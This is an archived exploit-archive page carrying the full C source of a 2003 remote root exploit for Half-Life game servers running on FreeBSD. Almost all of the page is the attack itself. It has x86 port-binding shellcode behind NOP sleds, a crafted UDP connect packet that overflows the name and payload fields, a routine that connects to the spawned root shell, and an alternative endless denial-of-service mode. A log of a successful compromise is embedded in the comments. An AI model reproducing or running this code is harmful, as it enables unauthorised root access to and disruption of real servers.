exploit the possibilities

priv8-uhagr-halflife.c

priv8-uhagr-halflife.c
Posted Aug 5, 2003
Authored by wsxz, hkvig | Site priv8security.com

Half-Life remote server root exploit for FreeBSD that works against version lower or equal to 1.1.1.0, and versions 3.1.1.1c1 and 4.1.1.1a.

tags | exploit, remote, root
systems | freebsd
MD5 | 98b9485c9d0bf54af7b72729976950e0

priv8-uhagr-halflife.c

Change Mirror Download
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
//
// This code is based upon the recent halflife exploit but it is
// not a dos. Instead this exploit provides you a nice shell to
// the vulnerable host
//
//
// LOGS OF SUCCESSFUL EXPLOITATION
//
// [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
//
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
// Greetings to #priv8security & #!uhagr people
//
// [+] Looking up host ip addr
// [+] Establishing virtual udp connection
// [+] Getting server info
// [+] Server protocol 0x2e
// Players 0
// Proxy 0
// Lan 0
// Nplayers 0x10
// Directory cstrike
// Description CounterStrike
// Host Counter-Strike 1.5 Server
// Type 0
// Pass 0
// Os 0
// Security 0x1
// [+] Getting server challenge integer
// Server challenge is 280135011
// [+] Exploiting halflife server
// [+] Connecting to our shell
// Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun 5 02:55:42 GMT 2003
// root@wv i386 unknown
// uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
//
//
// Greetings fly to
// - The rest UHAGr and Priv8 Security people
// - CCC
// - www.core-dumped.org
// - All of our friends to any net
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

#define LOCAL_PORT ( getuid() + getpid() + rand())
#define DEST_PORT 27015
#define BUFFER_SIZE 4096
#define DELAY 20
#define INIT "echo; echo; uname -a; id; who; echo; echo;\n"

// The packet layout for a bsd host
#define PAYLOAD "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
"\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
"\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
"\x89\xe1\xb0\x0b\xcd\x80" \
"\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
\
"\x42\x42\x42\x42"

#define NAME "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\xeb\x08"

#define BUFFER "\xff\xff\xff\xff" \
"connect %d" \
" %s \"" \
"\\prot\\2" \
"\\unique\\-1" \
"\\raw\\%08lx%08lx%08lx%08lx" \
"\" \"" \
"\\model\\robo" \
"\\topcolor\\25" \
"\\bottomcolor\\161" \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"\\cl_dlmax\\128" \
"\\hud_classautokill\\1" \
"\\name\\" NAME \
"\\" PAYLOAD "\\value" \
"\"\n"


// The structure that holds the server info needed for the exploitation
struct serverinfo
{
unsigned int protocol; // Protocol version
unsigned int players; // Current players
unsigned int proxytarget; // Proxy
unsigned int lan; // Lan
unsigned int nplayers; // Players
char *directory; // Current directory
char *description; // Server description
char *host; // Hosts alias
char *challenge; // Challenge integer
unsigned int type; // Server type
unsigned int pass; // Server pass
unsigned int os; // Os
unsigned int security; // Security
} server;


// The structure that contains the targets
struct target
{
unsigned int id;
const char *description;
unsigned long int retaddr;
}
targets[] =
{
{ 0 , "Freebsd 5.1" , 0xbfbfe398 } ,

{ 1 , "DoS attack to every OS" , 0x41414141 } ,

{ 2 , NULL , 0 }
};


// This function lists the available targets
void list( void )
{
int loop = 0;

fprintf( stdout , "\n\nAvailable targets\n" );
while( targets[loop].description != NULL )
{
fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
loop++;
}
fprintf( stdout , "\n\n" );

return;
}


// This function is responsible for the proper error reporting and
// error code returning
void do_exit( const char *str , const char *file , unsigned int line )
{
fprintf( stdout , "\n" );
if( file != NULL && line != 0 )
fprintf( stdout , "Error at %s at line %d\n" , file , line );

if( str != NULL )
perror( str );

exit( -errno );
}


// A safer version of the standard strtok() function
char *strtokerr( char *str , const char *del )
{
char *ptr;

if(( ptr = strtok( str , del )) == NULL )
{
fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
do_exit( NULL , NULL , 0 );
}

return ptr;
}


// This function is responsible for looking the ip addr of the target host
unsigned long int lookup_host( char *host )
{
struct in_addr r_host;
struct hostent *ip;

if( !isdigit( *host ))
{
if(( ip = gethostbyname( host )) == NULL )
do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );

bzero( &r_host , sizeof( struct in_addr ));
r_host = *(( struct in_addr *)ip->h_addr );
return r_host.s_addr;
}

if( isdigit( *host ))
return inet_addr( host );

return -1;
}


// This function establishes a virtual udp connection to the target
// host so that send() can be used instead of sendto()
int udp_connect( unsigned long int addr , unsigned int port )
{
int fd;
struct sockaddr_in host;
struct in_addr n_addr = *(( struct in_addr *)&addr );

if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );

host.sin_family = AF_INET;
host.sin_addr.s_addr = INADDR_ANY;
host.sin_port = htons( LOCAL_PORT );
if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );

bzero( &host , sizeof( struct sockaddr_in ));
host.sin_family = AF_INET;
host.sin_addr = n_addr;
host.sin_port = htons( port );
if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );

return fd;
}


// This is the standard tcp connection in just one function
int tcp_connect( unsigned long int addr , int port )
{
struct sockaddr_in host;
int fd;

if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );

host.sin_family = AF_INET;
host.sin_addr.s_addr = INADDR_ANY;
host.sin_port = htons( LOCAL_PORT );

if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );

bzero( &host , sizeof( struct sockaddr_in ));
host.sin_family = AF_INET;
host.sin_addr.s_addr = addr;
host.sin_port = htons( port );

if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );

return fd;
}

// The standard function for controlling the shell
int shell( int fd )
{
int bytes;
char buffer[2048];
fd_set descr;
struct timeval time = { 2 , 0 };

while( 1 )
{
FD_ZERO( &descr );
FD_SET( fd , &descr );
FD_SET( 0 , &descr );
select( fd + 1 , &descr , NULL , NULL , NULL );

if( FD_ISSET( fd , &descr ))
{
bzero( buffer , sizeof( buffer ));
if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
{
fprintf( stdout , "[-] Connection closed by foreign host\n" );
do_exit( "shell(): read()" , __FILE__ , __LINE__ );
}
buffer[bytes] = '\0';
fputs( buffer , stdout );
}

if( FD_ISSET( 0 , &descr ))
{
bzero( buffer , sizeof( buffer ));
if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
do_exit( "shell(): read()" , __FILE__ , __LINE__ );
buffer[bytes] = '\0';
send( fd , buffer , strlen( buffer ) , 0 );
}
}

return 0;
}


// This function gets the server info needed for the exploitation and checks
// if the host is vulnerable
int server_info( int fd )
{
char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
char buffer[BUFFER_SIZE];
char *ptr;
int loop , bytes;

bzero( buffer , sizeof( buffer ));

if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
do_exit( "server_info(): send()" , __FILE__ , __LINE__ );

if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
do_exit( "server_info(): read()" , __FILE__ , __LINE__ );

for( loop = 0; loop < bytes; loop++ )
if( buffer[loop] == '\0' ) buffer[loop] = 0x41;

if(( ptr = strstr( buffer , "protocol" )) == NULL )
{
fprintf( stdout , "[-] No protocol info into server response\n" );
do_exit( NULL , NULL , 0 );
}

ptr = strtokerr( buffer , "\\" ); // Ignoring response
ptr = strtokerr( NULL , "\\" ); // Protocol version
server.protocol = atoi( strtokerr( NULL , "\\" ));

ptr = strtokerr( NULL , "\\" ); // Address
ptr = strtokerr( NULL , "\\" ); // Ip address and port

ptr = strtokerr( NULL , "\\" ); // Players
server.players = atoi( strtokerr( NULL , "\\" )); // Current players

ptr = strtokerr( NULL , "\\" ); // Proxytarget
server.proxytarget = atoi( strtokerr( NULL , "\\" )); // Proxytarget value

ptr = strtokerr( NULL , "\\" ); // Lan
server.lan = atoi( strtokerr( NULL , "\\" )); // Lan value

ptr = strtokerr( NULL , "\\" ); // Max players
server.nplayers = atoi( strtokerr( NULL , "\\" )); // Max players

ptr = strtokerr( NULL , "\\" ); // Directory
server.directory = strtokerr( NULL , "\\" ); // Directory string

ptr = strtokerr( NULL , "\\" ); // Description
server.description = strtokerr( NULL , "\\" ); // Description string

ptr = strtokerr( NULL , "\\" ); // Host
server.host = strtokerr( NULL , "\\" ); // Host string

ptr = strtokerr( NULL , "\\" ); // Map
ptr = strtokerr( NULL , "\\" ); // Map string

ptr = strtokerr( NULL , "\\" ); // Type
server.type = atoi( strtokerr( NULL , "\\" )); // Type value

ptr = strtokerr( NULL , "\\" ); // Pass
server.pass = atoi( strtokerr( NULL , "\\" )); // Pass value

ptr = strtokerr( NULL , "\\" ); // Os
server.os = atoi( strtokerr( NULL , "\\" )); // Os value

ptr = strtokerr( NULL , "\\" ); // Security
server.security = atoi( strtokerr( NULL , "\\" )); // Security value

return 0;
}


// This function is responsible for getting the server's challenge in order
// to be used later into the exploitation udp packet
int server_challenge( int fd )
{
char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
char buffer[BUFFER_SIZE];

bzero( buffer , sizeof( buffer ));

if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );

if(( read( fd , buffer , sizeof( buffer ))) == -1 )
do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );

strtokerr( buffer , " " );
server.challenge = strtokerr( NULL , " " );
return 0;
}

// This function is responsible for exploiting a bsd host
int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
{
char *exploit , *ptr;
int len;

targ.retaddr -= offset;

if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
bzero( exploit , BUFFER_SIZE );

len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ));

ptr = strstr( exploit , "BBBB" );
*( unsigned long int *)ptr = targ.retaddr;

// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;

if(( send( fd , exploit , len , 0 )) == -1 )
do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );


return 0;
}

// This function launches a dos attack against the vulnerable server
int do_dos( int fd , unsigned int delay )
{
int len;
char *dos , buff[268];

if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );

bzero( dos , BUFFER_SIZE );
bzero( buff , sizeof( buff ));

memset( buff , 0x41 , sizeof( buff ));

len = snprintf( dos , BUFFER_SIZE ,
"\xff\xff\xff\xff"
"connect %d"
" %s \""
"\\prot\\2"
"\\unique\\-1"
"\\raw\\%08lx%08lx%08lx%08lx"
"\" \""
"\\model\\%s"
"\\topcolor\\25"
"\\bottomcolor\\161"
"\\rate\\9999.000000"
"\\cl_updaterate\\20"
"\\cl_lw\\1"
"\\cl_lc\\1"
"\\cl_dlmax\\128"
"\\hud_classautokill\\1"
"\\name\\Bugtest"
"\"\n" ,
server.protocol , server.challenge ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
buff );

while( 1 )
{
if(( send( fd , dos , len , 0 )) == -1 )
do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );

fprintf( stdout , "[+] DoS packet sent\n" );
sleep( delay );
}


return 0;
}


int main( int argc , char *argv[] )
{
unsigned long int addr;
long int offset;
int fd , usrtarg , port;


fprintf( stdout , " \n\n"
"PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
"Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit \n"
"Code by hkvig of UHAGr and wsxz of Priv8 Security \n"
"Greetings to #priv8security & #!uhagr people \n\n" );

if( argc != 4 && argc != 5 )
{
fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
"Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
list();
return 0;
}

if( argc == 5 )
{
port = atoi( argv[4] );
fprintf( stdout , "[+] Using port %d\n" , port );
}
else
port = DEST_PORT;

offset = atoi( argv[3] );
fprintf( stdout , "[+] Using offset %#d\n" , offset );

usrtarg = atoi( argv[1] );
if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
{
fprintf( stdout , "[-] No such target in target list\n" );
do_exit( NULL , NULL , 0 );
}

bzero( &server , sizeof( struct serverinfo ));

fprintf( stdout , "[+] Looking up host ip addr\n" );
addr = lookup_host( argv[2] );
sleep( 1 );


fprintf( stdout , "[+] Establishing virtual udp connection\n" );
fd = udp_connect( addr , port );
sleep( 1 );


fprintf( stdout , "[+] Getting server info\n" );
server_info( fd );
sleep( 1 );

fprintf( stdout , "[+] Server protocol %#x\n"
" Players %#x\n"
" Proxy %#x\n"
" Lan %#x\n"
" Nplayers %#x\n"
" Directory %s \n"
" Description %s \n"
" Host %s \n"
" Type %#x\n"
" Pass %#x\n"
" Os %#x\n"
" Security %#x\n" ,
server.protocol ,
server.players ,
server.proxytarget ,
server.lan ,
server.nplayers ,
server.directory ,
server.description ,
server.host ,
server.type ,
server.pass ,
server.os ,
server.security );

sleep( 1 );
fprintf( stdout , "[+] Getting server challenge integer\n" );
server_challenge( fd );

fprintf( stdout , " Server challenge is %s\n" , server.challenge );
sleep( 1 );


if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 )
{
fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
do_dos( fd , DELAY );
}
else // Real exploitation
{
fprintf( stdout , "[+] Exploiting halflife server\n" );
do_bof_bsd( fd , targets[usrtarg] , offset );

sleep( 1 );
close( fd );

sleep( 3 );
fprintf( stdout , "[+] Connecting to our shell\n" );
fd = tcp_connect( addr , 5074 );

send( fd , INIT , sizeof( INIT ) , 0 );
shell( fd );
}

close( fd );
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    31 Files
  • 8
    Apr 8th
    18 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close